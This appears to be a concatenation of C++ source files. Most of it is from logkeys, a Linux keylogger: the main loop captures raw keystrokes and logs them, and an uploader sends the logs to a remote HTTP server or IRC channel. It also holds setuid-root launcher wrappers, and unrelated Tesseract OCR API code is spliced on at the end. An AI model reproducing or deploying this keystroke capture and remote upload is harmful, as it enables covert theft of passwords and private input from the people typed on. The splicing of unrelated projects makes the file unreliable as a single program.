strftime(timestamp, sizeof(timestamp), TIME_FORMAT, localtime(&cur_time));
if (args.flags & FLAG_NO_TIMESTAMPS)
file_size += fprintf(out, "Logging started at %s\n\n", timestamp);
else
file_size += fprintf(out, "Logging started ...\n\n%s", timestamp);
fflush(out);
// infinite loop: exit gracefully by receiving SIGHUP, SIGINT or SIGTERM (of which handler closes input_fd)
while (read(input_fd, &event, sizeof(struct input_event)) > 0) {
// these event.value-s aren't defined in <linux/input.h> ?
#define EV_MAKE 1 // when key pressed
#define EV_BREAK 0 // when key released
#define EV_REPEAT 2 // when key switches to repeating after short delay
if (event.type != EV_KEY) continue; // keyboard events are always of type EV_KEY
inc_size = 0;
scan_code = event.code;
if (scan_code >= sizeof(char_or_func)) { // keycode out of range, log error
inc_size += fprintf(out, "<E-%x>", scan_code);
if (inc_size > 0) file_size += inc_size;
continue;
}
// if remote posting is enabled and size treshold is reached
if (args.post_size != 0 && file_size >= args.post_size && stat(UPLOADER_PID_FILE, &st) == -1) {
fclose(out);
std::stringstream ss;
for (int i = 1;; ++i) {
ss.clear();
ss.str("");
ss << args.logfile << "." << i;
if (stat(ss.str().c_str(), &st) == -1) break; // file .log.i doesn't yet exist
}
if (rename(args.logfile.c_str(), ss.str().c_str()) == -1) // move current log file to indexed
error(EXIT_FAILURE, errno, "Error renaming logfile");
out = fopen(args.logfile.c_str(), "a"); // open empty log file with the same name
if (!out)
error(EXIT_FAILURE, errno, "Error opening output file '%s'", args.logfile.c_str());
file_size = 0; // new log file is now empty
// write new timestamp
time(&cur_time);
strftime(timestamp, sizeof(timestamp), TIME_FORMAT, localtime(&cur_time));
if (args.flags & FLAG_NO_TIMESTAMPS)
file_size += fprintf(out, "Logging started at %s\n\n", timestamp);
else
file_size += fprintf(out, "Logging started ...\n\n%s", timestamp);
if (!args.http_url.empty() || !args.irc_server.empty()) {
switch (fork()) {
case -1: error(0, errno, "Error while forking remote-posting process");
case 0:
start_remote_upload(); // child process will upload the .log.i files
exit(EXIT_SUCCESS);
}
}
}
// on key repeat ; must check before on key press
if (event.value == EV_REPEAT) {
++count_repeats;
} else if (count_repeats) {
if (prev_code == KEY_RIGHTSHIFT || prev_code == KEY_LEFTCTRL ||
prev_code == KEY_RIGHTALT || prev_code == KEY_LEFTALT ||
prev_code == KEY_LEFTSHIFT || prev_code == KEY_RIGHTCTRL); // if repeated key is modifier, do nothing
else {
if ((args.flags & FLAG_NO_FUNC_KEYS) && is_func_key(prev_code)); // if repeated was function key, and if we don't log function keys, then don't log repeat either
else inc_size += fprintf(out, "<#+%d>", count_repeats);
}
count_repeats = 0; // reset count for future use
}
// on key press
if (event.value == EV_MAKE) {
// on ENTER key or Ctrl+C/Ctrl+D event append timestamp
if (scan_code == KEY_ENTER || scan_code == KEY_KPENTER ||
(ctrl_in_effect && (scan_code == KEY_C || scan_code == KEY_D))) {
if (ctrl_in_effect)
inc_size += fprintf(out, "%lc", char_keys[to_char_keys_index(scan_code)]); // log C or D
if (args.flags & FLAG_NO_TIMESTAMPS)
inc_size += fprintf(out, "\n");
else {
strftime(timestamp, sizeof(timestamp), "\n" TIME_FORMAT, localtime(&event.time.tv_sec));
inc_size += fprintf(out, "%s", timestamp); // then newline and timestamp
}
if (inc_size > 0) file_size += inc_size;
continue; // but don't log "<Enter>"
}
if (scan_code == KEY_LEFTSHIFT || scan_code == KEY_RIGHTSHIFT)
shift_in_effect = true;
if (scan_code == KEY_RIGHTALT)
altgr_in_effect = true;
if (scan_code == KEY_LEFTCTRL || scan_code == KEY_RIGHTCTRL)
ctrl_in_effect = true;
// print character or string coresponding to received keycode; only print chars when not \0
if (is_char_key(scan_code)) {
wchar_t wch;
if (altgr_in_effect) {
wch = altgr_keys[to_char_keys_index(scan_code)];
if (wch == L'\0') {
if(shift_in_effect)
wch = shift_keys[to_char_keys_index(scan_code)];
else
wch = char_keys[to_char_keys_index(scan_code)];
}
}
else if (shift_in_effect) {
wch = shift_keys[to_char_keys_index(scan_code)];
if (wch == L'\0')
wch = char_keys[to_char_keys_index(scan_code)];
}
else // neither altgr nor shift are effective, this is a normal char
wch = char_keys[to_char_keys_index(scan_code)];
if (wch != L'\0') inc_size += fprintf(out, "%lc", wch); // write character to log file
}
else if (is_func_key(scan_code)) {
if (!(args.flags & FLAG_NO_FUNC_KEYS)) { // only log function keys if --no-func-keys not requested
inc_size += fprintf(out, "%ls", func_keys[to_func_keys_index(scan_code)]);
}
else if (scan_code == KEY_SPACE || scan_code == KEY_TAB) {
inc_size += fprintf(out, " "); // but always log a single space for Space and Tab keys
}
}
else inc_size += fprintf(out, "<E-%x>", scan_code); // keycode is neither of character nor function, log error
} // if (EV_MAKE)
// on key release
if (event.value == EV_BREAK) {
if (scan_code == KEY_LEFTSHIFT || scan_code == KEY_RIGHTSHIFT)
shift_in_effect = false;
if (scan_code == KEY_RIGHTALT)
altgr_in_effect = false;
if (scan_code == KEY_LEFTCTRL || scan_code == KEY_RIGHTCTRL)
ctrl_in_effect = false;
}
prev_code = scan_code;
fflush(out);
if (inc_size > 0) file_size += inc_size;
} // while (read(input_fd))
// append final timestamp, close files and exit
time(&cur_time);
strftime(timestamp, sizeof(timestamp), "%F %T%z", localtime(&cur_time));
fprintf(out, "\n\nLogging stopped at %s\n\n", timestamp);
fclose(out);
remove(PID_FILE);
exit(EXIT_SUCCESS);
} // main()
} // namespace logkeys
int main(int argc, char** argv)
{
return logkeys::main(argc, argv);
}
| C++ |
/*
Copyleft (ɔ) 2009 Kernc
This program is free software. It comes with absolutely no warranty whatsoever.
See COPYING for further information.
Project homepage: http://code.google.com/p/logkeys/
*/
#ifndef _UPLOAD_H_
#define _UPLOAD_H_
#define UPLOADER_PID_FILE "/var/run/logkeys.upload.pid" // pid file for the remote-uploading process
namespace logkeys {
int sendall(int sockfd, const char *buf, size_t len)
{
size_t total = 0;
int n = 0; // how many bytes we've sent
size_t bytesleft = len; // how many we have left to send
while(total < len) {
if ((n = send(sockfd, buf + total, bytesleft, 0)) == -1)
break;
total += n;
bytesleft -= n;
}
return n == -1 ? -1 : 0; // return -1 on failure, 0 on success
}
int open_connection(const char *server, const char *port)
{
struct addrinfo *servinfo, *p; // servinfo will point to IP results
struct addrinfo hints = {0};
hints.ai_family = AF_UNSPEC; // will "resolve" both IPv4 or IPv6 addresses/hosts
hints.ai_socktype = SOCK_STREAM; // we will use TCP stream
int status, sockfd;
if ((status = getaddrinfo(server, port, &hints, &servinfo)) != 0)
error(EXIT_FAILURE, 0, "getaddrinfo() error (%s:%s): %s", server, port, gai_strerror(status));
// loop through the servinfo list and connect to the first connectable address
for (p = servinfo; p != NULL; p = p->ai_next) {
if ((sockfd = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1)
continue;
if (connect(sockfd, p->ai_addr, p->ai_addrlen) == -1) {
close(sockfd);
continue;
}
break;
}
if (p == NULL) sockfd = -1; // if connecting failed, return -1
freeaddrinfo(servinfo); // free the servinfo linked-list
return sockfd;
}
char * read_socket(int sockfd)
{
#define STR_SIZE 1000000
static char str[STR_SIZE] = {0};
if (recv(sockfd, str, STR_SIZE, 0) == -1)
return NULL;
return str;
}
int sockfd;
bool isKilled = false;
void uploader_signal_handler(int signal)
{
isKilled = true;
close(sockfd);
}
void start_remote_upload()
{
int pid_fd = open(UPLOADER_PID_FILE, O_WRONLY | O_CREAT | O_EXCL, 0644);
if (pid_fd == -1) {
error(EXIT_FAILURE, errno, "Error creating uploader PID file '" UPLOADER_PID_FILE "'");
}
// catch SIGHUP, SIGINT, SIGTERM signals to exit gracefully
struct sigaction act = {{0}};
act.sa_handler = uploader_signal_handler;
sigaction(SIGHUP, &act, NULL);
sigaction(SIGINT, &act, NULL);
sigaction(SIGTERM, &act, NULL);
#define MAX_FILES 1000
char successful[MAX_FILES] = {0}; // array holding results
int last_index; // determine how many logfiles.X are there
for (last_index = 1; last_index < MAX_FILES; ++last_index) {
std::stringstream filename;
filename << args.logfile << '.' << last_index;
std::ifstream ifs(filename.str().c_str());
if (!ifs) break;
ifs.close();
}
--last_index; // logfile.last_index is the last one
// POST to remote HTTP server
if (!args.http_url.empty()) {
std::string url = std::string(args.http_url);
std::string port = "80";
std::string host = url.substr(url.find("://") + 3);
std::string location = host.substr(host.find("/"));
host = host.substr(0, host.find("/"));
if (host.find(":") != std::string::npos) { // if port specified (i.e. "http://hostname:port/etc")
port = host.substr(host.find(":") + 1);
host = host.substr(0, host.find(":"));
}
srand(time(NULL));
for (int i = 1; i <= last_index && !isKilled; ++i) {
std::stringstream filename;
filename << args.logfile << '.' << i;
std::ifstream ifs(filename.str().c_str());
if (!ifs) break;
sockfd = open_connection(host.c_str(), port.c_str());
if (sockfd == -1) break;
std::string line, file_contents;
while(getline(ifs, line)) file_contents += line + "\n";
ifs.close();
std::stringstream boundary, postdata, obuf;
boundary << "---------------------------" << time(NULL) << rand() << rand();
postdata << "--" << boundary.str() << "\r\n" <<
"Content-Disposition: form-data; name=\"file\"; filename=\"" << filename.str() << "\"\r\n"
"Content-Type: text/plain\r\n\r\n" << file_contents << "\r\n--" << boundary.str() << "--\r\n";
obuf <<
"POST " << location << " HTTP/1.1\r\n"
"Host: " << host << "\r\n"
"User-Agent: logkeys (http://code.google.com/p/logkeys/)\r\n"
"Accept: */*\r\n"
"Content-Type: multipart/form-data; boundary=" << boundary.str() << "\r\n"
"Content-Length: " << postdata.str().size() << "\r\n"
"\r\n" << postdata.str();
if (sendall(sockfd, obuf.str().c_str(), obuf.str().size()) == -1) {
close(sockfd);
error(0, errno, "Error sending output");
break;
}
sleep(1);
if (strncmp(read_socket(sockfd), "HTTP/1.1 200", 12) == 0)
++successful[i - 1];
if (successful[i - 1] && args.irc_server.empty()) remove(filename.str().c_str());
close(sockfd);
}
}
// post to remote IRC server
if (!args.irc_server.empty() && !isKilled) {
sockfd = open_connection(args.irc_server.c_str(), args.irc_port.c_str());
if (sockfd == -1) {
remove(UPLOADER_PID_FILE);
error(EXIT_FAILURE, errno, "Failed to connect to remote server(s)");
}
fprintf(stderr, "posting IRC...\n"); // debug
srand(time(NULL));
int random = rand() % 999999; // random 6 digits will be part of IRC nickname
std::stringstream obuf;
obuf << "USER lk" << random << " 8 * :http://code.google.com/p/logkeys\r\n"
"NICK lk" << random << "\r\n";
if (args.irc_entity[0] == '#') // if entity is a channel, add command to join it
obuf << "JOIN " << args.irc_entity << "\r\n";
if (sendall(sockfd, obuf.str().c_str(), obuf.str().size()) == -1) {
remove(UPLOADER_PID_FILE);
error(EXIT_FAILURE, errno, "Error sending output");
}
obuf.clear();
obuf.str("");
for (int i = 1; i <= last_index && !isKilled; ++i) {
std::stringstream filename;
filename << args.logfile << '.' << i;
std::ifstream ifs(filename.str().c_str());
if (!ifs) break;
std::string line;
while (std::getline(ifs, line)) {
#define IRC_MAX_LINE_SIZE 400
while (line.size() > IRC_MAX_LINE_SIZE) {
obuf << "PRIVMSG " << args.irc_entity << " :"
<< line.substr(0, IRC_MAX_LINE_SIZE) << "\r\n";
if (sendall(sockfd, obuf.str().c_str(), obuf.str().size()) == -1) {
remove(UPLOADER_PID_FILE);
error(EXIT_FAILURE, errno, "Error sending output");
}
obuf.clear();
obuf.str("");
sleep(1);
line = line.substr(IRC_MAX_LINE_SIZE);
}
obuf << "PRIVMSG " << args.irc_entity << " :" << line << "\r\n";
if (sendall(sockfd, obuf.str().c_str(), obuf.str().size()) == -1) {
remove(UPLOADER_PID_FILE);
error(EXIT_FAILURE, errno, "Error sending output");
}
obuf.clear();
obuf.str("");
}
ifs.close();
sleep(1);
++successful[i - 1];
}
close(sockfd);
}
char successful_treshold = 0; // determine how many post methods were supposed to be used
if (!args.http_url.empty()) ++successful_treshold;
if (!args.irc_server.empty()) ++successful_treshold;
// remove all successfully uploaded files...
for (int i = 1, j = 1; i <= last_index; ++i) {
std::stringstream filename;
filename << args.logfile << '.' << i;
if (successful[i - 1] == successful_treshold) {
remove(filename.str().c_str());
}
else if (i != j) { // ...and rename unsuccessfully uploaded files so they run in uniform range logfile.X for X = 1..+
std::stringstream target_name;
target_name << args.logfile << '.' << j;
rename(filename.str().c_str(), target_name.str().c_str());
++j;
}
}
close(pid_fd);
remove(UPLOADER_PID_FILE);
}
} // namespace logkeys
#endif // _UPLOAD_H_
| C++ |
/*
Copyleft (ɔ) 2009 Kernc
This program is free software. It comes with absolutely no warranty whatsoever.
See COPYING for further information.
Project homepage: http://code.google.com/p/logkeys/
*/
#ifndef _ARGS_H_
#define _ARGS_H_
#include <cstring>
namespace logkeys {
struct arguments
{
bool start; // start keylogger, -s switch
bool kill; // stop keylogger, -k switch
bool us_keymap; // use default US keymap, -u switch
std::string logfile; // user-specified log filename, -o switch
std::string keymap; // user-specified keymap file, -m switch or --export-keymap
std::string device; // user-specified input event device, given with -d switch
std::string http_url; // remote HTTP URL to POST log to, --post-http switch
std::string irc_entity; // if --post-irc effective, this holds the IRC entity to PRIVMSG (either #channel or NickName)
std::string irc_server; // if --post-irc effective, this holds the IRC hostname
std::string irc_port; // if --post-irc effective, this holds the IRC port number
off_t post_size; // post log file to remote when of size post_size, --post-size switch
int flags; // holds the following option flags
#define FLAG_EXPORT_KEYMAP 0x1 // export keymap obtained from dumpkeys, --export-keymap is used
#define FLAG_NO_FUNC_KEYS 0x2 // only log character keys (e.g. 'c', '2', etc.) and don't log function keys (e.g. <LShift>, etc.), --no-func-keys switch
#define FLAG_NO_TIMESTAMPS 0x4 // don't log timestamps, --no-timestamps switch
#define FLAG_POST_HTTP 0x8 // post log to remote HTTP server, --post-http switch
#define FLAG_POST_IRC 0x10 // post log to remote IRC server, --post-irc switch
#define FLAG_POST_SIZE 0x20 // post log to remote HTTP or IRC server when log of size optarg, --post-size
} args = {0}; // default all args to 0x0 or ""
void process_command_line_arguments(int argc, char **argv)
{
int flags;
struct option long_options[] = {
{"start", no_argument, 0, 's'},
{"keymap", required_argument, 0, 'm'},
{"output", required_argument, 0, 'o'},
{"us-keymap", no_argument, 0, 'u'},
{"kill", no_argument, 0, 'k'},
{"device", required_argument, 0, 'd'},
{"help", no_argument, 0, '?'},
{"export-keymap", required_argument, &flags, FLAG_EXPORT_KEYMAP},
{"no-func-keys", no_argument, &flags, FLAG_NO_FUNC_KEYS},
{"no-timestamps", no_argument, &flags, FLAG_NO_TIMESTAMPS},
{"post-http", required_argument, &flags, FLAG_POST_HTTP},
{"post-irc", required_argument, &flags, FLAG_POST_IRC},
{"post-size", required_argument, &flags, FLAG_POST_SIZE},
{0}
};
char c;
int option_index;
while ((c = getopt_long(argc, argv, "sm:o:ukd:?", long_options, &option_index)) != -1)
{
switch (c)
{
case 's': args.start = true; break;
case 'm': args.keymap = optarg; break;
case 'o': args.logfile = optarg; break;
case 'u': args.us_keymap = true; break;
case 'k': args.kill = true; break;
case 'd': args.device = optarg; break;
case 0 :
args.flags |= flags;
switch (flags)
{
case FLAG_EXPORT_KEYMAP: args.keymap = optarg; break;
case FLAG_POST_HTTP:
if (strncmp(optarg, "http://", 7) != 0)
error(EXIT_FAILURE, 0, "HTTP URL must be like \"http://domain:port/script\"");
args.http_url = optarg;
break;
case FLAG_POST_IRC: {
// optarg string should be like "entity@server:port", now dissect it
char *main_sep = strrchr(optarg, '@');
char *port_sep = strrchr(optarg, ':');
if (main_sep == NULL || port_sep == NULL)
error(EXIT_FAILURE, 0, "Invalid IRC FORMAT! Must be: nick_or_channel@server:port. See manual!");
*main_sep = '\0'; // replace @ with \0 to have entity string that starts at optarg
*port_sep = '\0'; // replace : with \0 to have server string that starts at main_sep+1
args.irc_entity = optarg;
args.irc_server = main_sep + 1;
args.irc_port = port_sep + 1;
break;
}
case FLAG_POST_SIZE:
args.post_size = atoi(optarg);
switch (optarg[strlen(optarg) - 1]) // process any trailing M(egabytes) or K(ilobytes)
{
case 'K': case 'k': args.post_size *= 1000; break;
case 'M': case 'm': args.post_size *= 1000000; break;
}
}
break;
case '?': usage(); exit(EXIT_SUCCESS);
default : usage(); exit(EXIT_FAILURE);
}
} // while
while(optind < argc)
error(0, 0, "Non-option argument %s", argv[optind++]);
}
} // namespace logkeys
#endif // _ARGS_H_
| C++ |
/*
Copyleft (ɔ) 2009 Kernc
This program is free software. It comes with absolutely no warranty whatsoever.
See COPYING for further information.
Project homepage: http://code.google.com/p/logkeys/
*/
#include <cstdlib>
#include <unistd.h>
int main() {
setuid(0);
exit(system(SYS_CONF_DIR "/logkeys-kill.sh")); // SYS_CONF_DIR defined in CXXFLAGS in Makefile.am
}
| C++ |
/*
Copyleft (ɔ) 2009 Kernc
This program is free software. It comes with absolutely no warranty whatsoever.
See COPYING for further information.
Project homepage: http://code.google.com/p/logkeys/
*/
#include <cstdlib>
#include <unistd.h>
int main() {
setuid(0);
exit(system(SYS_CONF_DIR "/logkeys-start.sh")); // SYS_CONF_DIR defined in CXXFLAGS in Makefile.am
}
| C++ |
/*
Copyleft (ɔ) 2009 Kernc
This program is free software. It comes with absolutely no warranty whatsoever.
See COPYING for further information.
Project homepage: http://code.google.com/p/logkeys/
*/
#ifndef _USAGE_H_
#define _USAGE_H_
namespace logkeys {
void usage()
{
fprintf(stderr,
"Usage: logkeys [OPTION]...\n"
"Log depressed keyboard keys.\n"
"\n"
" -s, --start start logging keypresses\n"
" -m, --keymap=FILE use keymap FILE\n"
" -o, --output=FILE log output to FILE [" DEFAULT_LOG_FILE "]\n"
" -u, --us-keymap use en_US keymap instead of configured default\n"
" -k, --kill kill running logkeys process\n"
" -d, --device=FILE input event device [eventX from " INPUT_EVENT_PATH "]\n"
" -?, --help print this help screen\n"
" --export-keymap=FILE export configured keymap to FILE and exit\n"
" --no-func-keys log only character keys\n"
" --no-timestamps don't prepend timestamps to log file lines\n"
" --post-http=URL POST log to URL as multipart/form-data file\n"
//" --post-irc=FORMAT FORMAT is nick_or_channel@server:port\n"
" --post-size=SIZE post log file when size equals SIZE [500k]\n"
"\n"
"Examples: logkeys -s -m mylang.map -o ~/.secret-keys.log\n"
" logkeys -s -d event6\n"
" logkeys -k\n"
"\n"
"logkeys version: " PACKAGE_VERSION "\n"
"logkeys homepage: <http://code.google.com/p/logkeys/>\n"
);
}
} // namespace logkeys
#endif // _USAGE_H_
| C++ |
#ifndef TESS_CAPI_INCLUDE_BASEAPI
# define TESS_CAPI_INCLUDE_BASEAPI
#endif
#include "capi.h"
#include "genericvector.h"
#include "strngs.h"
TESS_API const char* TESS_CALL TessVersion()
{
return TessBaseAPI::Version();
}
TESS_API void TESS_CALL TessDeleteText(char* text)
{
delete [] text;
}
TESS_API void TESS_CALL TessDeleteTextArray(char** arr)
{
for (char** pos = arr; *pos != NULL; ++pos)
delete [] *pos;
delete [] arr;
}
TESS_API void TESS_CALL TessDeleteIntArray(int* arr)
{
delete [] arr;
}
TESS_API void TESS_CALL TessDeleteBlockList(BLOCK_LIST* block_list)
{
TessBaseAPI::DeleteBlockList(block_list);
}
TESS_API TessResultRenderer* TESS_CALL TessTextRendererCreate(const char* outputbase)
{
return new TessTextRenderer(outputbase);
}
TESS_API TessResultRenderer* TESS_CALL TessHOcrRendererCreate(const char* outputbase)
{
return new TessHOcrRenderer(outputbase);
}
TESS_API TessResultRenderer* TESS_CALL TessHOcrRendererCreate2(const char* outputbase, BOOL font_info)
{
return new TessHOcrRenderer(outputbase, font_info);
}
TESS_API TessResultRenderer* TESS_CALL TessPDFRendererCreate(const char* outputbase, const char* datadir)
{
return new TessPDFRenderer(outputbase, datadir);
}
TESS_API TessResultRenderer* TESS_CALL TessUnlvRendererCreate(const char* outputbase)
{
return new TessUnlvRenderer(outputbase);
}
TESS_API TessResultRenderer* TESS_CALL TessBoxTextRendererCreate(const char* outputbase)
{
return new TessBoxTextRenderer(outputbase);
}
TESS_API void TESS_CALL TessDeleteResultRenderer(TessResultRenderer* renderer)
{
delete [] renderer;
}
TESS_API void TESS_CALL TessResultRendererInsert(TessResultRenderer* renderer, TessResultRenderer* next)
{
renderer->insert(next);
}
TESS_API TessResultRenderer* TESS_CALL TessResultRendererNext(TessResultRenderer* renderer)
{
return renderer->next();
}
TESS_API BOOL TESS_CALL TessResultRendererBeginDocument(TessResultRenderer* renderer, const char* title)
{
return renderer->BeginDocument(title);
}
TESS_API BOOL TESS_CALL TessResultRendererAddImage(TessResultRenderer* renderer, TessBaseAPI* api)
{
return renderer->AddImage(api);
}
TESS_API BOOL TESS_CALL TessResultRendererEndDocument(TessResultRenderer* renderer)
{
return renderer->EndDocument();
}
TESS_API const char* TESS_CALL TessResultRendererExtention(TessResultRenderer* renderer)
{
return renderer->file_extension();
}
TESS_API const char* TESS_CALL TessResultRendererTitle(TessResultRenderer* renderer)
{
return renderer->title();
}
TESS_API int TESS_CALL TessResultRendererImageNum(TessResultRenderer* renderer)
{
return renderer->imagenum();
}
TESS_API TessBaseAPI* TESS_CALL TessBaseAPICreate()
{
return new TessBaseAPI;
}
TESS_API void TESS_CALL TessBaseAPIDelete(TessBaseAPI* handle)
{
delete handle;
}
TESS_API size_t TESS_CALL TessBaseAPIGetOpenCLDevice(TessBaseAPI* handle, void **device)
{
return handle->getOpenCLDevice(device);
}
TESS_API void TESS_CALL TessBaseAPISetInputName(TessBaseAPI* handle, const char* name)
{
handle->SetInputName(name);
}
TESS_API const char* TESS_CALL TessBaseAPIGetInputName(TessBaseAPI* handle)
{
return handle->GetInputName();
}
TESS_API void TESS_CALL TessBaseAPISetInputImage(TessBaseAPI* handle, Pix* pix)
{
handle->SetInputImage(pix);
}
TESS_API Pix* TESS_CALL TessBaseAPIGetInputImage(TessBaseAPI* handle)
{
return handle->GetInputImage();
}
TESS_API int TESS_CALL TessBaseAPIGetSourceYResolution(TessBaseAPI* handle)
{
return handle->GetSourceYResolution();
}
TESS_API const char* TESS_CALL TessBaseAPIGetDatapath(TessBaseAPI* handle)
{
return handle->GetDatapath();
}
TESS_API void TESS_CALL TessBaseAPISetOutputName(TessBaseAPI* handle, const char* name)
{
handle->SetOutputName(name);
}
TESS_API BOOL TESS_CALL TessBaseAPISetVariable(TessBaseAPI* handle, const char* name, const char* value)
{
return handle->SetVariable(name, value) ? TRUE : FALSE;
}
TESS_API BOOL TESS_CALL TessBaseAPISetDebugVariable(TessBaseAPI* handle, const char* name, const char* value)
{
return handle->SetVariable(name, value) ? TRUE : FALSE;
}
TESS_API BOOL TESS_CALL TessBaseAPIGetIntVariable(const TessBaseAPI* handle, const char* name, int* value)
{
return handle->GetIntVariable(name, value) ? TRUE : FALSE;
}
TESS_API BOOL TESS_CALL TessBaseAPIGetBoolVariable(const TessBaseAPI* handle, const char* name, BOOL* value)
{
bool boolValue;
if (handle->GetBoolVariable(name, &boolValue))
{
*value = boolValue ? TRUE : FALSE;
return TRUE;
}
else
{
return FALSE;
}
}
TESS_API BOOL TESS_CALL TessBaseAPIGetDoubleVariable(const TessBaseAPI* handle, const char* name, double* value)
{
return handle->GetDoubleVariable(name, value) ? TRUE : FALSE;
}
TESS_API const char* TESS_CALL TessBaseAPIGetStringVariable(const TessBaseAPI* handle, const char* name)
{
return handle->GetStringVariable(name);
}
TESS_API void TESS_CALL TessBaseAPIPrintVariables(const TessBaseAPI* handle, FILE* fp)
{
handle->PrintVariables(fp);
}
TESS_API BOOL TESS_CALL TessBaseAPIPrintVariablesToFile(const TessBaseAPI* handle, const char* filename)
{
FILE* fp = fopen(filename, "w");
if (fp != NULL)
{
handle->PrintVariables(fp);
fclose(fp);
return TRUE;
}
return FALSE;
}
TESS_API BOOL TESS_CALL TessBaseAPIGetVariableAsString(TessBaseAPI* handle, const char* name, STRING* val)
{
return handle->GetVariableAsString(name, val) ? TRUE : FALSE;
}
TESS_API int TESS_CALL TessBaseAPIInit4(TessBaseAPI* handle, const char* datapath, const char* language,
TessOcrEngineMode mode, char** configs, int configs_size,
char** vars_vec, char** vars_values, size_t vars_vec_size,
BOOL set_only_non_debug_params)
{
GenericVector<STRING> varNames;
GenericVector<STRING> varValues;
if (vars_vec != NULL && vars_values != NULL) {
for (size_t i = 0; i < vars_vec_size; i++) {
varNames.push_back(STRING(vars_vec[i]));
varValues.push_back(STRING(vars_values[i]));
}
}
return handle->Init(datapath, language, mode, configs, configs_size, &varNames, &varValues, set_only_non_debug_params);
}
TESS_API int TESS_CALL TessBaseAPIInit1(TessBaseAPI* handle, const char* datapath, const char* language, TessOcrEngineMode oem,
char** configs, int configs_size)
{
return handle->Init(datapath, language, oem, configs, configs_size, NULL, NULL, false);
}
TESS_API int TESS_CALL TessBaseAPIInit2(TessBaseAPI* handle, const char* datapath, const char* language, TessOcrEngineMode oem)
{
return handle->Init(datapath, language, oem);
}
TESS_API int TESS_CALL TessBaseAPIInit3(TessBaseAPI* handle, const char* datapath, const char* language)
{
return handle->Init(datapath, language);
}
TESS_API const char* TESS_CALL TessBaseAPIGetInitLanguagesAsString(const TessBaseAPI* handle)
{
return handle->GetInitLanguagesAsString();
}
TESS_API char** TESS_CALL TessBaseAPIGetLoadedLanguagesAsVector(const TessBaseAPI* handle)
{
GenericVector<STRING> languages;
handle->GetLoadedLanguagesAsVector(&languages);
char** arr = new char*[languages.size() + 1];
for (int index = 0; index < languages.size(); ++index)
arr[index] = languages[index].strdup();
arr[languages.size()] = NULL;
return arr;
}
TESS_API char** TESS_CALL TessBaseAPIGetAvailableLanguagesAsVector(const TessBaseAPI* handle)
{
GenericVector<STRING> languages;
handle->GetAvailableLanguagesAsVector(&languages);
char** arr = new char*[languages.size() + 1];
for (int index = 0; index < languages.size(); ++index)
arr[index] = languages[index].strdup();
arr[languages.size()] = NULL;
return arr;
}
TESS_API int TESS_CALL TessBaseAPIInitLangMod(TessBaseAPI* handle, const char* datapath, const char* language)
{
return handle->InitLangMod(datapath, language);
}
TESS_API void TESS_CALL TessBaseAPIInitForAnalysePage(TessBaseAPI* handle)
{
handle->InitForAnalysePage();
}
TESS_API void TESS_CALL TessBaseAPIReadConfigFile(TessBaseAPI* handle, const char* filename)
{
handle->ReadConfigFile(filename);
}
TESS_API void TESS_CALL TessBaseAPIReadDebugConfigFile(TessBaseAPI* handle, const char* filename)
{
handle->ReadDebugConfigFile(filename);
}
TESS_API void TESS_CALL TessBaseAPISetPageSegMode(TessBaseAPI* handle, TessPageSegMode mode)
{
handle->SetPageSegMode(mode);
}
TESS_API TessPageSegMode TESS_CALL TessBaseAPIGetPageSegMode(const TessBaseAPI* handle)
{
return handle->GetPageSegMode();
}
TESS_API char* TESS_CALL TessBaseAPIRect(TessBaseAPI* handle, const unsigned char* imagedata,
int bytes_per_pixel, int bytes_per_line,
int left, int top, int width, int height)
{
return handle->TesseractRect(imagedata, bytes_per_pixel, bytes_per_line, left, top, width, height);
}
TESS_API void TESS_CALL TessBaseAPIClearAdaptiveClassifier(TessBaseAPI* handle)
{
handle->ClearAdaptiveClassifier();
}
TESS_API void TESS_CALL TessBaseAPISetImage(TessBaseAPI* handle, const unsigned char* imagedata, int width, int height,
int bytes_per_pixel, int bytes_per_line)
{
handle->SetImage(imagedata, width, height, bytes_per_pixel, bytes_per_line);
}
TESS_API void TESS_CALL TessBaseAPISetImage2(TessBaseAPI* handle, struct Pix* pix)
{
return handle->SetImage(pix);
}
TESS_API void TESS_CALL TessBaseAPISetSourceResolution(TessBaseAPI* handle, int ppi)
{
handle->SetSourceResolution(ppi);
}
TESS_API void TESS_CALL TessBaseAPISetRectangle(TessBaseAPI* handle, int left, int top, int width, int height)
{
handle->SetRectangle(left, top, width, height);
}
TESS_API void TESS_CALL TessBaseAPISetThresholder(TessBaseAPI* handle, TessImageThresholder* thresholder)
{
handle->SetThresholder(thresholder);
}
TESS_API struct Pix* TESS_CALL TessBaseAPIGetThresholdedImage(TessBaseAPI* handle)
{
return handle->GetThresholdedImage();
}
TESS_API struct Boxa* TESS_CALL TessBaseAPIGetRegions(TessBaseAPI* handle, struct Pixa** pixa)
{
return handle->GetRegions(pixa);
}
TESS_API struct Boxa* TESS_CALL TessBaseAPIGetTextlines(TessBaseAPI* handle, struct Pixa** pixa, int** blockids)
{
return handle->GetTextlines(pixa, blockids);
}
TESS_API struct Boxa* TESS_CALL TessBaseAPIGetTextlines1(TessBaseAPI* handle, const BOOL raw_image, const int raw_padding,
struct Pixa** pixa, int** blockids, int** paraids)
{
return handle->GetTextlines(raw_image, raw_padding, pixa, blockids, paraids);
}
TESS_API struct Boxa* TESS_CALL TessBaseAPIGetStrips(TessBaseAPI* handle, struct Pixa** pixa, int** blockids)
{
return handle->GetStrips(pixa, blockids);
}
TESS_API struct Boxa* TESS_CALL TessBaseAPIGetWords(TessBaseAPI* handle, struct Pixa** pixa)
{
return handle->GetWords(pixa);
}
TESS_API struct Boxa* TESS_CALL TessBaseAPIGetConnectedComponents(TessBaseAPI* handle, struct Pixa** cc)
{
return handle->GetConnectedComponents(cc);
}
TESS_API struct Boxa* TESS_CALL TessBaseAPIGetComponentImages(TessBaseAPI* handle, TessPageIteratorLevel level, BOOL text_only, struct Pixa** pixa, int** blockids)
{
return handle->GetComponentImages(level, text_only != FALSE, pixa, blockids);
}
TESS_API struct Boxa*
TESS_CALL TessBaseAPIGetComponentImages1( TessBaseAPI* handle, const TessPageIteratorLevel level, const BOOL text_only,
const BOOL raw_image, const int raw_padding,
struct Pixa** pixa, int** blockids, int** paraids)
{
return handle->GetComponentImages(level, text_only != FALSE, raw_image, raw_padding, pixa, blockids, paraids);
}
TESS_API int TESS_CALL TessBaseAPIGetThresholdedImageScaleFactor(const TessBaseAPI* handle)
{
return handle->GetThresholdedImageScaleFactor();
}
TESS_API void TESS_CALL TessBaseAPIDumpPGM(TessBaseAPI* handle, const char* filename)
{
handle->DumpPGM(filename);
}
TESS_API TessPageIterator* TESS_CALL TessBaseAPIAnalyseLayout(TessBaseAPI* handle)
{
return handle->AnalyseLayout();
}
